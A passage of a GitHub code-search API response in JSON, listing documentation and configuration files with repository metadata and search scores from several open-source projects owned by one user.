name":"search.html","path":"docs/search.html","sha":"37db36fd9c45a450580c08bc466467dd9939a2dc","url":"https://api.github.com/repositories/57307104/contents/docs/search.html?ref=f2fa67d8836a547eb91429dc6895066cc40cc6f9","git_url":"https://api.github.com/repositories/57307104/git/blobs/37db36fd9c45a450580c08bc466467dd9939a2dc","html_url":"https://github.com/jacquev6/hashids-ocaml/blob/f2fa67d8836a547eb91429dc6895066cc40cc6f9/docs/search.html","repository":{"id":57307104,"node_id":"MDEwOlJlcG9zaXRvcnk1NzMwNzEwNA==","name":"hashids-ocaml","full_name":"jacquev6/hashids-ocaml","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/hashids-ocaml","description":"OCaml implementation of http://hashids.org","fork":false,"url":"https://api.github.com/repos/jacquev6/hashids-ocaml","forks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/forks","keys_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/teams","hooks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/events","assignees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/tags","blobs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscription","commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/merges","archive_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/downloads","issues_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":30.738403},{"name":"links.json","path":"src/links.json","sha":"f1a39e32bd1b2b4929b4c8872524ea50585afe7e","url":"https://api.github.com/repositories/1986874/contents/src/links.json?ref=e9a8fa6ae7e3968898952331e379389b21f2e464","git_url":"https://api.github.com/repositories/1986874/git/blobs/f1a39e32bd1b2b4929b4c8872524ea50585afe7e","html_url":"https://github.com/jacquev6/vincent-jacques.net/blob/e9a8fa6ae7e3968898952331e379389b21f2e464/src/links.json","repository":{"id":1986874,"node_id":"MDEwOlJlcG9zaXRvcnkxOTg2ODc0","name":"vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/vincent-jacques.net","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","forks_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/forks","keys_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/teams","hooks_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/events","assignees_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/tags","blobs_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/languages","stargazers_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/subscription","commits_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/merges","archive_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/downloads","issues_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/deployments"},"score":30.726208},{"name":"conf.py","path":"doc/conf.py","sha":"3806e081e706709f232605a1a55779494e8736a9","url":"https://api.github.com/repositories/57307104/contents/doc/conf.py?ref=f2fa67d8836a547eb91429dc6895066cc40cc6f9","git_url":"https://api.github.com/repositories/57307104/git/blobs/3806e081e706709f232605a1a55779494e8736a9","html_url":"https://github.com/jacquev6/hashids-ocaml/blob/f2fa67d8836a547eb91429dc6895066cc40cc6f9/doc/conf.py","repository":{"id":57307104,"node_id":"MDEwOlJlcG9zaXRvcnk1NzMwNzEwNA==","name":"hashids-ocaml","full_name":"jacquev6/hashids-ocaml","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/hashids-ocaml","description":"OCaml implementation of http://hashids.org","fork":false,"url":"https://api.github.com/repos/jacquev6/hashids-ocaml","forks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/forks","keys_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/teams","hooks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/events","assignees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/tags","blobs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscription","commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/merges","archive_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/downloads","issues_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":30.706871},{"name":"index.html","path":"docs/index.html","sha":"e6f60e9a383e87e0e3bdd320143b42131a637374","url":"https://api.github.com/repositories/40665572/contents/docs/index.html?ref=53100a3be0a782dda81abeb44d9700fcce95b141","git_url":"https://api.github.com/repositories/40665572/git/blobs/e6f60e9a383e87e0e3bdd320143b42131a637374","html_url":"https://github.com/jacquev6/Pynamixel/blob/53100a3be0a782dda81abeb44d9700fcce95b141/docs/index.html","repository":{"id":40665572,"node_id":"MDEwOlJlcG9zaXRvcnk0MDY2NTU3Mg==","name":"Pynamixel","full_name":"jacquev6/Pynamixel","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/Pynamixel","description":"Python library to use Robotis Dynamixel servos","fork":false,"url":"https://api.github.com/repos/jacquev6/Pynamixel","forks_url":"https://api.github.com/repos/jacquev6/Pynamixel/forks","keys_url":"https://api.github.com/repos/jacquev6/Pynamixel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/Pynamixel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/Pynamixel/teams","hooks_url":"https://api.github.com/repos/jacquev6/Pynamixel/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/Pynamixel/events","assignees_url":"https://api.github.com/repos/jacquev6/Pynamixel/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/Pynamixel/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/tags","blobs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/Pynamixel/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/Pynamixel/languages","stargazers_url":"https://api.github.com/repos/jacquev6/Pynamixel/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/Pynamixel/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscription","commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/Pynamixel/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/Pynamixel/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/Pynamixel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/Pynamixel/merges","archive_url":"https://api.github.com/repos/jacquev6/Pynamixel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/Pynamixel/downloads","issues_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/Pynamixel/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/Pynamixel/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/Pynamixel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/Pynamixel/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/Pynamixel/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/Pynamixel/deployments"},"score":30.567154},{"name":"index.html","path":"docs/index.html","sha":"8ca909d8491abfbc39058d33b5e89e14b5baf1c6","url":"https://api.github.com/repositories/34715715/contents/docs/index.html?ref=2177eaa753a518b4c7c7f4b28e955b2c81b30925","git_url":"https://api.github.com/repositories/34715715/git/blobs/8ca909d8491abfbc39058d33b5e89e14b5baf1c6","html_url":"https://github.com/jacquev6/variadic/blob/2177eaa753a518b4c7c7f4b28e955b2c81b30925/docs/index.html","repository":{"id":34715715,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNTcxNQ==","name":"variadic","full_name":"jacquev6/variadic","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/variadic","description":"Python decorator for very-variadic functions","fork":false,"url":"https://api.github.com/repos/jacquev6/variadic","forks_url":"https://api.github.com/repos/jacquev6/variadic/forks","keys_url":"https://api.github.com/repos/jacquev6/variadic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/variadic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/variadic/teams","hooks_url":"https://api.github.com/repos/jacquev6/variadic/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/variadic/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/variadic/events","assignees_url":"https://api.github.com/repos/jacquev6/variadic/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/variadic/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/variadic/tags","blobs_url":"https://api.github.com/repos/jacquev6/variadic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/variadic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/variadic/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/variadic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/variadic/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/variadic/languages","stargazers_url":"https://api.github.com/repos/jacquev6/variadic/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/variadic/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/variadic/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/variadic/subscription","commits_url":"https://api.github.com/repos/jacquev6/variadic/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/variadic/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/variadic/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/variadic/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/variadic/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/variadic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/variadic/merges","archive_url":"https://api.github.com/repos/jacquev6/variadic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/variadic/downloads","issues_url":"https://api.github.com/repos/jacquev6/variadic/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/variadic/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/variadic/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/variadic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/variadic/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/variadic/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/variadic/deployments"},"score":30.565767},{"name":"search.html","path":"docs/search.html","sha":"8d0121aad54dcd0af48dceb0b9117cb33aad7a16","url":"https://api.github.com/repositories/100627412/contents/docs/search.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/8d0121aad54dcd0af48dceb0b9117cb33aad7a16","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/search.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.549004},{"name":"user_guide.html","path":"docs/user_guide.html","sha":"cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","url":"https://api.github.com/repositories/100627412/contents/docs/user_guide.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/user_guide.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.549004},{"name":"index.html","path":"docs/index.html","sha":"b28fd3e041d41dfb3d2c68c93969ce2c32521480","url":"https://api.github.com/repositories/6518903/contents/docs/index.html?ref=16a493a59c2e22812c8b4545b11be4b6ca4e38d3","git_url":"https://api.github.com/repositories/6518903/git/blobs/b28fd3e041d41df